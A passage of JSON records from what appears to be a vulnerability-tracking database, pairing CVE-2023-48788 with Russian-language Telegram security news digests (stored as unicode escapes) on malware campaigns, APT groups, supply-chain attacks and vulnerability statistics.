\u0441\u0431\u043e\u0440\u043a\u0430\u0445 GuLoader \u0438 RedLine Stealer.\n\n\u041d\u0435 APT, \u043d\u043e \u0442\u043e\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\n\n\ud83d\udef0 NASA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0418\u0411. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0438 \u043b\u0443\u0447\u0448\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043a\u0430\u043a \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u043d\u0430\u0437\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043e\u0431\u043e\u0441\u0442\u0440\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u043f\u0443\u0442\u043d\u0438\u043a\u043e\u0432, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0437\u043b\u043e\u0431\u043e\u0434\u043d\u0435\u0432\u043d\u044b\u0439.\n\n\u0427\u0443\u0442\u044c \u043b\u0438 \u043d\u0435 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c SSH \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u0430\u0442\u0430\u043a\u0435 Terrapin (CVE-2023-48795). \n\n\ud83d\udc4e \u041e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u044d\u043f\u0438\u0434\u0435\u043c\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 PyPi, \u043d\u0430 \u0441\u0435\u0439 \u0440\u0430\u0437 116 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440 W4SP, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u043c\u0438 \u0440\u0430\u043d\u0435\u0435. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, \u043f\u043e\u0445\u043e\u0436\u0435, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0436\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b.\n\u0411\u043e\u043d\u0443\u0441-\u0442\u0440\u0435\u043a: 3 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0435\u0449\u0451 24 \u043f\u0430\u043a\u0435\u0442\u0430 npm.\n\n\ud83c\udf10 \u0412 \u0440\u043e\u0436\u0434\u0435\u0441\u0442\u0432\u0435\u043d\u0441\u043a\u043e-\u043d\u043e\u0432\u043e\u0433\u043e\u0434\u043d\u0438\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u0443\u0441\u043f\u0435\u043b\u0438 \u043a\u0430\u043f\u0438\u0442\u0430\u043b\u044c\u043d\u043e \u0438 \u043d\u0430\u0434\u043e\u043b\u0433\u043e \u043f\u0440\u0438\u043b\u0435\u0447\u044c \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u2014 \u041a\u0438\u0435\u0432\u0441\u0442\u0430\u0440 \u0438 Orange Spain. \u0418 \u0435\u0441\u043b\u0438 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u0438 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u0442\u043e Orange, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0431\u0435\u0441\u043f\u0435\u0447\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0447\u0435\u043d\u044c \u0437\u043b\u043e\u0439 \u0448\u0443\u0442\u043a\u0438 \u2014 \u043a\u0442\u043e-\u0442\u043e \u0441\u043c\u043e\u0433 \u0437\u0430\u0439\u0442\u0438 \u0432 \u0438\u0445 \u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 RIPE \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c BGP-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b. \u041f\u043e \u0441\u043b\u0443\u0445\u0430\u043c, \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043d\u0435 \u0431\u044b\u043b\u043e 2FA \ud83e\udd37\u200d\u2642\ufe0f.\n\n\ud83d\udc6e\u200d\u2642\ufe0f\u0427\u0435\u0442\u044b\u0440\u0451\u0445 \u0440\u0430\u043d\u0441\u043e\u043c\u0432\u0430\u0440\u0449\u0438\u043a\u043e\u0432 \u0430\u0440\u0435\u0441\u0442\u043e\u0432\u0430\u043b\u0438 \u0432 \u041a\u0438\u0442\u0430\u0435. \u0421\u043b\u0443\u0447\u0430\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c \u043e\u0440\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u0439, \u043d\u043e \u0435\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043d\u044e\u0430\u043d\u0441 \u2014 \u043e\u043d\u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0432\u043e\u0438 \u0438\u0437\u0434\u0435\u043b\u0438\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 ChatGPT. \u041f\u043e \u0441\u043a\u0440\u043e\u043c\u043d\u043e\u043c\u0443 \u043c\u043d\u0435\u043d\u0438\u044e \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u0438 \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0431\u044b\u043b\u0438, \u043a\u0445\u043c, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435.\n\n\u041f\u043e\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u043f\u0440\u043e \u0434\u044b\u0440\u0443 \u0432 Bitwarden, \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430. \u041c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u0442\u0430\u0449\u0438\u0442\u044c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0411\u0415\u0417 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \ud83e\udd2f\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2024-01-09T07:27:24.000000Z"}, {"uuid": "f8dd8b69-f477-474d-92ff-7b48e024704c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/kasperskyb2b/1561", "content": "\ud83e\udd76 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u0432\u0441\u0435 \u043e\u0442 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\u0414\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 kill chain \u0445\u0430\u043a\u0442\u0438\u0432\u0438\u0441\u0442\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Cyber Anarchy Squad, \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u0424 \u0438 \u0420\u0411 \u0431\u0435\u0437 \u043e\u0433\u043b\u044f\u0434\u043a\u0438 \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e. \u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Jira, Confluence \u0438 MS SQL, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0430\u0442\u0430\u043a \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u043e\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 Revenge RAT \u0438 Spark RAT.\n\n\ud83d\ude36\u200d\ud83c\udf2b\ufe0f \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 CVE-2023-48788 \u0432 FortiClient EMS, \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0435\u0449\u0451 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435. \u041f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 ConnectWise \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0441\u0435\u0442\u0438 \u2014 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u043e\u0441\u0442\u0435.\n\n\ud83d\udc7b \u0414\u0430\u0440\u043a\u043d\u0435\u0442-\u043f\u0440\u043e\u0433\u043d\u043e\u0437 \u043d\u0430 2025:  \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0434\u0430\u0440\u043a\u0432\u0435\u0431 \u0438\u0437 Telegram, \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u043d\u0434 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u0410 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 APT Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2014 \u0433\u043e\u0434\u0430 \u0448\u043f\u0438\u043e\u043d\u0438\u0442 \u0437\u0430 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u0410\u0437\u0438\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 VBCloud. \u0426\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 PowerShell, \u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u04212 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430.\n\n\ud83d\udc7d \u0412 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 DeathNote/DreamJob, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u044e\u0442 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 Lazarus, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u044b\u0435 \u043c\u0438\u0448\u0435\u043d\u0438 \u0438 \u043d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b. \u0421\u0432\u0435\u0436\u0430\u044f \u0432\u043e\u043b\u043d\u0430 \u0430\u0442\u0430\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u043d\u0443\u044e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c, \u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c CookiePlus, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u0434 \u043f\u043b\u0430\u0433\u0438\u043d \u043a Notpad++.\n\n\ud83d\udc18 \u041d\u043e\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f Android-\u0431\u0430\u043d\u043a\u0435\u0440\u0430 Mamont \u2014 \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u043a\u0443\u043f\u043a\u0438 \u0438 \u043e\u043f\u043b\u0430\u0442\u044b \u043f\u043e\u0441\u043b\u0435 (!) \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0438. \u041e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0432 Telegram.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 BellaCiao, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b APT Charming Kitten. \u0420\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0430 .Net, \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043f\u043e\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043d\u0430 C++. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 PDB, \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0412\u041f\u041e, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u0445 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u0434\u0430\u0436\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043c\u0438\u0448\u0435\u043d\u044f\u0445 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83c\udf1a \u0410\u0442\u0430\u043a\u0438 \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043c\u043d\u043e\u0436\u0430\u0442\u0441\u044f: \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e 18 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 VSCode \u0438 9 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0432 npm (1, 2). \n\n\u041e\u0431\u0437\u043e\u0440 \u0430\u0442\u0430\u043a watering hole, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044f\u043f\u043e\u043d\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0412\u041f\u041e \u0433\u0440\u0443\u043f\u043f\u044b Diicot, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u043b\u0430\u0431\u043e \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u043f\u043e SSH.  \n\n\ud83d\udd14 \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f Google Calendar.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2024-12-23T09:14:45.000000Z"}, {"uuid": "00ca42a1-1cb0-4547-b0b2-82f2615023b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/true_secator/7103", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0431\u043e\u043c\u0431\u0438\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u0434\u043e\u0433\u043d\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 2024 \u0433\u043e\u0434\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0438\u0445 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0433\u043e\u0434\u044b.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 CWE \u0438\u0437 TOP 10 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Microsoft \u0438 \u044f\u0434\u0440\u0430 Linux \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c\u0438, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u0441\u0445\u043e\u0436\u0438\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u043a \u00ab\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e\u00bb 